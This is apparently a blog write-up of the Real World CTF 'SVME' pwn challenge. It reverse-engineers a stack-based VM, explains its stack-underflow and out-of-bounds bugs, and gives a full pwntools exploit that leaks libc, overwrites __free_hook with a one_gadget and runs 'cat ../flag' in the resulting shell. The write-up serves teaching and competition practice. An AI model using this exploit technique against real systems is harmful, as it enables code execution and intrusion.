Pour un rendu optimal, activez JavaScript

[Real World CTF] Pwn - SVME (Baby)

 ·  ☕ 9 min de lecture  ·  ✍️ ValekoZ

Description

Professor Terence Parr has taught us how to build a virtual machine. Now it’s time to break it!

nc 47.243.140.252 1337

attachment

Source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdbool.h>
#include <unistd.h>
#include "vm.h"

int main(int argc, char *argv[]) {
    int code[128], nread = 0;

    // Read 128 bytes of code (which architecture ??)
    while (nread < sizeof(code)) {
        int ret = read(0, code+nread, sizeof(code)-nread);
        if (ret <= 0) break;
        nread += ret;
    }

    // Create a Virtual Machine for the given code
    VM *vm = vm_create(code, nread/4, 0);
    vm_exec(vm, 0, true);
    vm_free(vm);

    return 0;
}

vm_exec function

After some reverse engineering I got the following code:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
void vm_exec(vm *vm, int32_t initial_ip, bool debug)
{
    int32_t iVar1;
    int32_t operand_pointer;
    int64_t iVar4;
    int64_t var_38h;
    int32_t instruction_pointer;
    int32_t stack_pointer;
    int32_t var_24h;
    int32_t opcode;
    int32_t var_1ch;
    int64_t var_18h;

    stack_pointer = -1;
    var_24h = -1;
    opcode = vm->code[initial_ip];
    instruction_pointer = initial_ip;
    while ((opcode != 0x12 && (instruction_pointer < vm->code_len))) {
        if (debug) {
            vm_print_instr(vm->code, instruction_pointer);
        }
        operand_pointer = instruction_pointer + 1;
    // switch table (18 cases) at 0x202c
        switch(opcode) {
        default:
            printf("invalid opcode: %d at ip=%d\n", opcode, instruction_pointer);
            exit(1);
            instruction_pointer = operand_pointer;
            break;
        case 1: // iadd
            vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] + vm->stack[stack_pointer];
            instruction_pointer = operand_pointer;
            stack_pointer = stack_pointer + -1;
            break;
        case 2: // isub
            vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] - vm->stack[stack_pointer];
            instruction_pointer = operand_pointer;
            stack_pointer = stack_pointer + -1;
            break;
        case 3: // imul
            vm->stack[stack_pointer + -1] = vm->stack[stack_pointer + -1] * vm->stack[stack_pointer];
            instruction_pointer = operand_pointer;
            stack_pointer = stack_pointer + -1;
            break;
        case 4: // ilt
            vm->stack[stack_pointer + -1] = (uint32_t)(vm->stack[stack_pointer + -1] < vm->stack[stack_pointer]);
            instruction_pointer = operand_pointer;
            stack_pointer = stack_pointer + -1;
            break;
        case 5: // ieq
            vm->stack[stack_pointer + -1] = (uint32_t)(vm->stack[stack_pointer + -1] == vm->stack[stack_pointer]);
            instruction_pointer = operand_pointer;
            stack_pointer = stack_pointer + -1;
            break;
        case 6: // br
            instruction_pointer = vm->code[operand_pointer];
            break;
        case 7: // brt
            operand_pointer = stack_pointer + -1;
            iVar4 = (int64_t)stack_pointer;
            instruction_pointer = instruction_pointer + 2;
            stack_pointer = operand_pointer;
            if (vm->stack[iVar4] == 1) {
                instruction_pointer = vm->code[operand_pointer];
            }
            break;
        case 8: // brf
            operand_pointer = stack_pointer + -1;
            iVar4 = (int64_t)stack_pointer;
            instruction_pointer = instruction_pointer + 2;
            stack_pointer = operand_pointer;
            if (vm->stack[iVar4] == 0) {
                instruction_pointer = vm->code[operand_pointer];
            }
            break;
        case 9: // iconst
            vm->stack[stack_pointer + 1] = vm->code[operand_pointer];
            instruction_pointer = instruction_pointer + 2;
            stack_pointer = stack_pointer + 1;
            break;
        case 10: // load
            vm->stack[stack_pointer + 1] = vm->stack[(int64_t)var_24h * 0xb + (int64_t)vm->code[operand_pointer] + 0x3e9];
            instruction_pointer = instruction_pointer + 2;
            stack_pointer = stack_pointer + 1;
            break;
        case 0xb: // gload
            vm->stack[stack_pointer + 1] = vm->data[vm->code[operand_pointer]];
            instruction_pointer = instruction_pointer + 2;
            stack_pointer = stack_pointer + 1;
            break;
        case 0xc: // store
            vm->stack[(int64_t)var_24h * 0xb + (int64_t)vm->code[operand_pointer] + 0x3e9] = vm->stack[stack_pointer];
            instruction_pointer = instruction_pointer + 2;
            stack_pointer = stack_pointer + -1;
            break;
        case 0xd: // gstore
            vm->data[vm->code[operand_pointer]] = vm->stack[stack_pointer];
            instruction_pointer = instruction_pointer + 2;
            stack_pointer = stack_pointer + -1;
            break;
        case 0xe: // print
            printf(0x2008);
            instruction_pointer = operand_pointer;
            stack_pointer = stack_pointer + -1;
            break;
        case 0xf: // pop
            instruction_pointer = operand_pointer;
            stack_pointer = stack_pointer + -1;
            break;
        case 0x10: // call
            operand_pointer = vm->code[operand_pointer];
            iVar1 = vm->code[instruction_pointer + 2];
            var_24h = var_24h + 1;
            vm_context_init((int64_t)(vm->stack + (int64_t)var_24h * 0xb + 1000), (uint64_t)(instruction_pointer + 4),
                            iVar1 + vm->code[instruction_pointer + 3]);
            for (var_1ch = 0; var_1ch < iVar1; var_1ch = var_1ch + 1) {
                vm->stack[(int64_t)var_24h * 0xb + (int64_t)var_1ch + 0x3e9] = vm->stack[stack_pointer - var_1ch];
            }
            instruction_pointer = operand_pointer;
            stack_pointer = stack_pointer - iVar1;
            break;
        case 0x11: // ret
            iVar4 = (int64_t)var_24h;
            var_24h = var_24h + -1;
            instruction_pointer = vm->stack[iVar4 * 0xb + 1000];
        }
        if (debug) {
            vm_print_stack(vm->stack, stack_pointer);
        }
        opcode = vm->code[instruction_pointer];
    }
    if (debug) {
        vm_print_data(vm->data, vm->data_len);
    }
    return;
}

We can see the opcodes / intructions of the VM in the switch case.

The vm struct is set as follows:

struct vm {
	int32_t *code;
	int32_t code_len;
	int32_t fill;
	int32_t *data;
	uint32_t data_len;
	int32_t stack[1024]; // We don't really know the size of the stack
};

And using gdb we can see the size of the chunk of memory allocated for the vm struct. This is 0x2100 bytes.

Vulns

There are two vulnerabilities in the VM.

  1. There is no control on the VM stack pointer. You can then overflow the stack by pushing too much data, but you can also underflow it.
    • If you have stack_pointer = -3 and you push a value (iconst, opcode 9), you will overwrite the data stored at stack_pointer = -2, which is part of the vm struct.
  2. There is also an out of bounds read/write to the data array.
    • If you use the gload or gstore operations with an operand that is out of bounds, you will be able to read or write any arbitrary data.
    • ⚠ You can’t access anywhere directly. You are limited by the 32-bit size of the operand. But you can use the underflow to overwrite the data pointer in the struct, to get closer to the data you want to read or write.

How the exploit works

My exploit will be seperated into three parts.

Get the host stack

First thing to do is to get a host stack address.

Fortunately, the vm->code points to the start of the code array, which is stored in the main frame of the stack.

Since our vm struct is 0x2100 bytes long, and the data array is allocated just after the vm struct, we can get the vm->code pointer by subtracting 0x2100 from the data pointer. We can just use gload with an operand of 0x2100 / 4 and another gload with an operand of 0x2100 / 4 + 1 to get both the most significant and the least significant bytes of the vm->code pointer (since a pointer is 64 bits long and gload will read only 32 bits).

Once we have the vm->code pointer, we set the vm->data pointer to this address in order to have full access to the host stack.

Find __free_hook address

Since we have full access to the host stack, we can find the return address of the main function. This will point to the __libc_start_main function, which is in the libc.

With some research using gdb, I found that this return address is located at vm->data[0x218 / 4] and vm->data[0x218 / 4 + 1].

Once we got this address using gload, we can use it to calculate the address of __free_hook using pwntools:

1
__free_hook = found_address - libc.libc_start_main_return + libc.symbols['__free_hook']

We don’t know the base address of the libc, but we don’t care since pwntools will give us the correct offsets anyway.

When this is done, we can overwrite the vm->data pointer to the __free_hook address.

Replace __free_hook

We need to find some one-gadgets to replace the __free_hook address. We can use the onegadget utility, which will give us many gadgets, and we will try all of them until we find one that works.

We can calculate the address of the one gadget we want using its offset and the __free_hook offset in the libc:

one_gadget_address = __free_hook - libc.symbols['__free_hook'] + one_gadget_offset

Then we can store it in the vm->data array. When the VM will exit, the structs will be freed and the __free_hook will be triggered, which might give us a shell if everything works.

Exploit

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
from pwn import *

context.binary = elf = ELF("./svme")
libc = ELF("./libc-2.31.so")

# For debugging :
context.terminal = ["tmux", "splitw", "-h"]


host = "47.243.140.252"
port = 1337


instructions = [
    "noop",
    "iadd",
    "isub",
    "imul",
    "ilt",
    "ieq",
    "br",
    "brt",
    "brf",
    "iconst",
    "load",
    "gload",
    "store",
    "gstore",
    "print",
    "pop",
    "call",
    "ret",
    "halt",
]


def assemble(code):
    lines = [line.strip() for line in code.split("\n") if line.strip()]

    machine_code = b""

    for line in lines:
        l = line.split()
        machine_code += p32(instructions.index(l[0]))

        for arg in l[1:]:
            if arg.startswith("0x") or arg.startswith("-0x"):
                machine_code += p32(int(arg, 16) % 0x100000000)
            else:
                machine_code += p32(int(arg) % 0x100000000)

    return machine_code


one_gadget = 0xe6c81


code = assemble(f"""
gload {-0x2100 // 4 + 1}
store 0
gload {-0x2100 // 4}
store 1
print
print
print
load 1
load 0
iconst 0
gload {0x218 // 4 + 1}
store 0
gload {0x218 // 4}
iconst {libc.libc_start_main_return}
isub
iconst {libc.symbols['__free_hook']}
iadd
store 1
print
print
print
load 1
load 0
iconst 0
load 0
load 1
iconst {libc.symbols['__free_hook']}
isub
iconst {one_gadget}
iadd
gstore 0
gstore 1
halt
""").ljust(0x200, b"\x00")

p = remote(host, port)

p.send(code)

p.sendline(b"cat ../flag")
flag = p.recvline().strip().decode()

p.close()

success(f"Flag: {flag}")

Code explanation

gload {-0x2100 // 4 + 1}                 # Get half of the `code` ptr
store 0
gload {-0x2100 // 4}                     # Get the other half
store 1
print
print
print
load 1                                   # Replace the `data` ptr
load 0
iconst 0
gload {0x218 // 4 + 1}                   # Get the `libc_start_main_return` value
store 0
gload {0x218 // 4}
iconst {libc.libc_start_main_return}     # Calculate the `__free_hook` address
isub
iconst {libc.symbols['__free_hook']}
iadd
store 1
print
print
print
load 1                                   # Replace the `data` ptr
load 0
iconst 0
load 0
load 1
iconst {libc.symbols['__free_hook']}     # Calculate the one gadget address
isub
iconst {one_gadget}
iadd
gstore 0                                 # Overwrite the `__free_hook`
gstore 1
halt

When the vm exits, the program calls vm_free, which call free, which calls __free_hook if it is set.

Since we set it to our one_gadget, we can get our shell 🙂

Partagez

Hackin'TN
RÉDIGÉ PAR
ValekoZ
Former president of HackIn'TN